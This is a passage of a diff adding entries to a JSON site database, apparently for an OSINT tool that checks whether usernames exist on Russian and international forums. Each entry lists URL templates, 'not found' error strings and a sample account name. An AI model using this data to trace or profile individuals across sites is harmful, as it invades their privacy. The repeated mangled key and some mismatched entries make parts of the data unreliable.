"403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pagohku.ucoz.ru/index/8-0-{}", + "urlMain": "https://pagohku.ucoz.ru", + "usernameON": "askutov123", + "bad_site": "" + }, + "Forum_paid-to-click": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paid-to-click.ucoz.ru/index/8-0-{}", + "urlMain": "https://paid-to-click.ucoz.ru", + "usernameON": "%D0%A8%D1%80%D1%83%D1%81", + "bad_site": "" + }, + "Forum_palemoon": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Pale Moon forum - Information", + "errorTyp��": "message", + "url": "https://forum.palemoon.org/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.palemoon.org", + "usernameON": "Moonchild", + "comments": "super", + "bad_site": 1 + }, + "Forum_palomniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "Ошибка", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://palomniki.su/forum/profile/user-8-0-{}", + "urlMain": "http://palomniki.su", + "usernameON": "rius", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_panda3d": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panda3d.org.ru/index/8-0-{}", + "urlMain": "http://panda3d.org.ru", + "usernameON": "ninth", + "bad_site": "" + }, + "Forum_pandawow": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "ipsAreaBackground_light ipsType_center ipsPad", + "errorTyp��": "message", + "url": "https://forum.pandawow.me/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pandawow.me", + "usernameON": "buka", + "bad_site": "" + }, + "Forum_panigalev4club": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.panigalev4club.com/members/?username={}", + "urlMain": "https://www.panigalev4club.com/", + "usernameON": "admin", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_Panzer35": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://panzer35.ru/index/8-0-{}", + "urlMain": "http://panzer35.ru", + "usernameON": "Loki", + "bad_site": "" + }, + "Forum_papillonomania": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://papilon-falen.my1.ru/index/8-0-{}", + "urlMain": "https://papilon-falen.my1.ru", + "usernameON": "Антонитт", + "bad_site": "" + }, + "Forum_paranormal-news": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "http://paranormal-news.ru/index/8-0-{}", + "urlMain": "http://paranormal-news.ru", + "usernameON": "aeroy", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_parasha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://parasha.do.am/index/8-0-{}", + "urlMain": "https://parasha.do.am", + "usernameON": "maximumextreeme", + "bad_site": "" + }, + "Forum_parents41": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "Сделать сайт просто", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://parents41.ru/index/8-0-{}", + "urlMain": "http://parents41.ru", + "usernameON": "Astary", + "comments": "bad", + "bad_site": 1 + }, + "Forum_parikmaher": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено: 0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://parikmaher.net.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://parikmaher.net.ru", + "usernameON": "sveta9630", + "bad_site": "" + }, + "Forum_parrotpilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://parrotpilots.com/members/?username={}", + "urlMain": "https://parrotpilots.com", + "usernameON": "captainmavic", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_partsdr": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "not registered", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum.partsdr.com/member.php?username={}", + "urlMain": "https://forum.partsdr.com", + "usernameON": "Smarsh", + "bad_site": "" + }, + "Forum_Partyanimals": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "status_code", + "url": "https://forum.partyanimals.com/u/{}", + "urlMain": "https://forum.partyanimals.com", + "usernameON": "HighJack", + "bad_site": "" + }, + "Forum_pascalgamedevelopment": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.pascalgamedevelopment.com/member.php?username={}", + "urlMain": "https://www.pascalgamedevelopment.com", + "usernameON": "hkhkqoo", + "bad_site": "" + }, + "Forum_paulsat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://paulsat.ucoz.ru/index/8-0-{}", + "urlMain": "https://paulsat.ucoz.ru", + "usernameON": "roterb", + "bad_site": "" + }, + "Forum_pavlovskyposad": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Павловский Посад.ру - Информация", + "errorTyp��": "message", + "url": "http://forum.pavlovskyposad.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.pavlovskyposad.ru", + "usernameON": "zandr", + "bad_site": "" + }, + "Forum_pbi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pbi.my1.ru/index/8-0-{}", + "urlMain": "https://pbi.my1.ru/", + "usernameON": "codeflare", + "bad_site": "" + }, + "Forum_pcformat": { + "country": "🇵🇱", + "country_klas": "PL", + "errorTyp��": "status_code", + "url": "https://forum.pcformat.pl/{}-u", + "urlMain": "https://forum.pcformat.pl", + "usernameON": "raxer", + "bad_site": 1 + }, + "Forum_pcreview": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pcreview.co.uk/members/?username={}", + "urlMain": "https://www.pcreview.co.uk", + "usernameON": "floppybootstomp", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pedelecs": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pedelecs.co.uk/forum/members/?username={}", + "urlMain": "https://www.pedelecs.co.uk", + "usernameON": "pedalfettal", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_peklama_3dn": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://peklama.3dn.ru/index/8-0-{}", + "urlMain": "https://peklama.3dn.ru", + "usernameON": "arman02151", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_pembrokcity": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pembrokcity.borda.ru/?32-{}", + "urlMain": "https://pembrokcity.borda.ru", + "usernameON": "fata", + "bad_site": "" + }, + "Forum_peredovaj": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.mus-peredovaj.ru/index/8-0-{}", + "urlMain": "http://www.mus-peredovaj.ru", + "usernameON": "ivanovvv817", + "bad_site": "" + }, + "Forum_pereval1959": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pereval1959.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://pereval1959.kamrbb.ru", + "usernameON": "%CF%EE%F7%E5%EC%F3%F7%EA%E0", + "bad_site": "" + }, + "Forum_perevodchik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://perevodchik-s-s.do.am/index/8-0-{}", + "urlMain": "https://perevodchik-s-s.do.am", + "usernameON": "hvttalatathui11", + "comments": "cf", + "bad_site": "" + }, + "Forum_perfect": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://perfect.ucoz.de/index/8-0-{}", + "urlMain": "http://perfect.ucoz.de", + "usernameON": "RomaOppop", + "bad_site": "" + }, + "Forum_perfectweddings": { + "country": "🇸🇬", + "country_klas": "SG", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.perfectweddings.sg/weddingforum/members/?username={}", + "urlMain": "https://www.perfectweddings.sg", + "usernameON": "dipaa", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pes_soccer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pes-files.ru/index/8-0-{}", + "urlMain": "https://pes-files.ru", + "usernameON": "Drobjij", + "bad_site": "" + }, + "Forum_pet-s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pet-s.ucoz.ru/index/8-0-{}", + "urlMain": "https://pet-s.ucoz.ru/", + "usernameON": "katya1931", + "bad_site": "" + }, + "Forum_petgb": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.petforums.co.uk/members/?username={}", + "urlMain": "https://www.petforums.co.uk", + "usernameON": "peterjosy", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_petropavlovka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://www.petropavlovka.my1.ru/index/8-0-{}", + "urlMain": "https://www.petropavlovka.my1.ru/", + "usernameON": "Fire4ik", + "bad_site": "" + }, + "Forum_pf-v": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "одождите", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://pf-v.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pf-v.ru/", + "usernameON": "oxy", + "bad_site": "" + }, + "Forum_phantomhelp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://forum.phantomhelp.com/u/{}/summary", + "urlMain": "https://forum.phantomhelp.com", + "usernameON": "bob32014", + "bad_site": "" + }, + "Forum_phantompilots": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://phantompilots.com/members/?username={}", + "urlMain": "https://phantompilots.com", + "usernameON": "steve12321", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_philippe-fournier": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://forum2.philippe-fournier-viger.com/search.php?keywords=&terms=all&author={}=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://forum2.philippe-fournier-viger.com", + "usernameON": "Alva&sc", + "bad_site": "" + }, + "Forum_philosophicalvegan": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://philosophicalvegan.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://philosophicalvegan.com", + "usernameON": "Hey", + "bad_site": "" + }, + "Forum_phoenixrising": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.phoenixrising.me/members/?username={}", + "urlMain": "https://forums.phoenixrising.me", + "usernameON": "pattismith", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_phoneamommy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.phoneamommy.com/Board/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://www.phoneamommy.com", + "usernameON": "SitterStacie", + "bad_site": "" + }, + "Forum_photographyreview": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "This user has not registered and therefore does not have a profile to view.", + "errorMsg2": "Sorry", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://forums.photographyreview.com/member.php?username={}", + "urlMain": "http://forums.photographyreview.com", + "usernameON": "Weskee32", + "bad_site": "" + }, + "Forum_photographytalk": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "div id=\"system-message\">", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.photographytalk.com/forum/search?searchuser={}&childforums=1", + "urlMain": "https://www.naturescapes.net", + "usernameON": "esseff", + "bad_site": "" + }, + "Forum_photos": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photos.ucoz.ru/index/8-0-{}", + "urlMain": "https://photos.ucoz.ru", + "usernameON": "photos", + "bad_site": "" + }, + "Forum_photoshara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://photoshara.ucoz.ru/index/8-0-{}", + "urlMain": "https://photoshara.ucoz.ru", + "usernameON": "hestilurte", + "bad_site": "" + }, + "Forum_phototerritory": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.phototerritory.ru/index/8-0-{}", + "urlMain": "http://www.phototerritory.ru", + "usernameON": "23a3sdasdasd322", + "bad_site": "" + }, + "Forum_phpbb_de": { + "country": "🇩🇪", + "country_klas": "DE", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.phpbb.de/community/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche", + "urlMain": "https://www.phpbb.de", + "usernameON": "db1982", + "comments": "super", + "bad_site": "" + }, + "Forum_phpfreaks": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forums.phpfreaks.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forums.phpfreaks.com", + "usernameON": "gizmola", + "bad_site": "" + }, + "Forum_physicianassistant": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.physicianassistantforum.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.physicianassistantforum.com", + "usernameON": "CAAdmission", + "comments": "cf", + "bad_site": "" + }, + "Forum_pickleberrypop": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pickleberrypop.com/forum/members/?username={}", + "urlMain": "https://pickleberrypop.com", + "usernameON": "cathquillscrap", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pickup": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Найдено 0 результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.pickup.ru/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.pickup.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_pigeons": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pigeons.biz/members/?username={}", + "urlMain": "https://www.pigeons.biz", + "usernameON": "utahraptor300", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pilotsofamerica": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pilotsofamerica.com/community/members/?username={}", + "urlMain": "https://www.pilotsofamerica.com", + "usernameON": "wanttaja", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pinclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pinclub.ucoz.ru/index/8-0-{}", + "urlMain": "https://pinclub.ucoz.ru", + "usernameON": "multatuli", + "bad_site": "" + }, + "Forum_pipca": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://pipca.6bb.ru/search.php?action=search&keywords=&author={}&forum=&search_in=0&sort_by=0&sort_dir=DESC&show_as=posts&search=%CE%F2%EF%F0%E0%E2%E8%F2%FC", + "urlMain": "https://pipca.6bb.ru", + "usernameON": "ola", + "bad_site": "" + }, + "Forum_pirate4x4": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pirate4x4.com/members/?username={}", + "urlMain": "https://www.pirate4x4.com", + "usernameON": "jeepfan2022", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_piratehub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "url": "https://s1.piratehub.biz/members/?username={}", + "urlMain": "https://s1.piratehub.biz", + "usernameON": "timetobefirst", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pirates": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://piratesforums.co/members/?username={}", + "urlMain": "https://piratesforums.co", + "usernameON": "sergey1337", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pirates-life": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://pirates-life.ru/index/8-0-{}", + "urlMain": "http://pirates-life.ru", + "usernameON": "alerg", + "comments": "bad", + "bad_site": "" + }, + "Forum_piratich": { + "country": "🇨🇿", + "country_klas": "CZ", + "errorMsg": "Nebyly nalezeny", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Sorry, ", + "errorTyp��": "message", + "url": "https://forum.pirati.cz/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Hledat", + "urlMain": "https://forum.pirati.cz", + "usernameON": "Hextus", + "bad_site": "" + }, + "Forum_pisatelforum": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pisatelforum.ucoz.ru/index/8-0-{}", + "urlMain": "https://pisatelforum.ucoz.ru", + "usernameON": "nix", + "bad_site": "" + }, + "Forum_pitbull-abakan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pitbull-abakan.3dn.ru/index/8-0-{}", + "urlMain": "https://pitbull-abakan.3dn.ru", + "usernameON": "Rolandpag", + "bad_site": "" + }, + "Forum_pixelmonrealms": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://pixelmonrealms.com/members/?username={}", + "urlMain": "https://pixelmonrealms.com", + "usernameON": "dragonowater", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pkq-clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pkq-clan.ucoz.com/index/8-0-{}", + "urlMain": "https://pkq-clan.ucoz.com", + "usernameON": "Pinupduzwah", + "bad_site": "" + }, + "Forum_planet-9": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.planet-9.com/members/?username={}", + "urlMain": "https://www.planet-9.com", + "usernameON": "deilenberger", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_planet-nefelana": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://planet-nefelana.ucoz.ru/index/8-0-{}", + "urlMain": "https://planet-nefelana.ucoz.ru", + "usernameON": "Nefelana", + "bad_site": "" + }, + "Forum_planetarium_kharkov": { + "country": "🇺🇦", + "country_klas": "UA", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://playlist-iptv.ucoz.ru/index/8-0-{}", + "urlMain": "http://playlist-iptv.ucoz.ru", + "usernameON": "altechst", + "bad_site": "" + }, + "Forum_playtime": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.playtime-forum.info/forum/members/?username={}", + "urlMain": "https://www.playtime-forum.info", + "usernameON": "Glumbi", + "bad_site": "" + }, + "Forum_plcforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://plcforum.uz.ua/search.php?keywords=&terms=all&author={}", + "urlMain": "http://plcforum.uz.ua", + "usernameON": "Novice", + "bad_site": "" + }, + "Forum_pling": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "UH OH! You're lost.", + "errorMsg2": "", + "errorTyp��": "message", + "url": "https://www.pling.com/u/{}", + "urlMain": "https://www.pling.com", + "usernameON": "dhyegoac2007", + "bad_site": "" + }, + "Forum_plodpitomnik": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://plodpitomnik.ru/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://plodpitomnik.ru", + "usernameON": "tag", + "comments": "super", + "bad_site": 1 + }, + "Forum_plumbing": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.plumbingforums.com/members/?username={}", + "urlMain": "https://www.plumbingforums.com/", + "usernameON": "miced69", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pmfun": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No suitable matches were found.", + "errorMsg2": "Information", + "errorTyp��": "message", + "url": "https://forum.pmfun.com/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.pmfun.com", + "usernameON": "JPSZone", + "bad_site": "" + }, + "Forum_pngindians": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forums.pngindians.com/members/?username={}", + "urlMain": "https://forums.pngindians.com", + "usernameON": "indianfan", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_podolsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Подольский городской форум - Информация", + "errorTyp��": "message", + "url": "https://forum.podolsk.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.podolsk.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Forum_podrabotka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://podrabotka.3dn.ru/index/8-0-{}", + "urlMain": "https://podrabotka.3dn.ru", + "usernameON": "Tara", + "bad_site": "" + }, + "Forum_podrastem": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://podrastem.com/index/8-0-{}", + "urlMain": "http://podrastem.com", + "usernameON": "spenga", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_poezd-photo": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://poezd-photo.ucoz.ru/index/8-0-{}", + "urlMain": "https://poezd-photo.ucoz.ru", + "usernameON": "rafikakenirov", + "bad_site": "" + }, + "Forum_pokatushki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://pokatushki.ucoz.ru/index/8-0-{}", + "urlMain": "https://pokatushki.ucoz.ru", + "usernameON": "Mystic", + "bad_site": "" + }, + "Forum_pokebeach": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.pokebeach.com/forums/members/?username={}", + "urlMain": "https://www.pokebeach.com", + "usernameON": "geodugtrio", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_pokemine": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "\\W[а-яА-Я]", + "errorMsg": "0 results", + "errorMsg2": "0 user", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "http://forum.pokemine.gg/search/?q={}&type=core_members", + "urlMain": "http://forum.pokemine.gg", + "usernameON": "czoko68", + "bad_site": "" + }, + "Forum_pokemmo": { + "country": "🇪🇺", + "country_klas": "EU", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search. ", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://forums.pokemmo.eu/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://forums.pokemmo.eu", + "usernameON": "kayninexl", + "bad_site": "" + }, + "Forum_pokemonrevolution": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Found 0 results", + "errorMsg2": "There were no results for your search.", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://pokemonrevolution.net/forum/search/?q={}&quick=1&type=core_members", + "urlMain": "https://pokemonrevolution.net", + "usernameON": "Hack00", + "bad_site": "" + }, + "Forum_pokerchip": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.pokerchipforum.com/members/?username={}", + "urlMain": "https://www.pokerchipforum.com", + "usernameON": "dmcl924", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_pokersrbija": { + "country": "🇪🇺", + 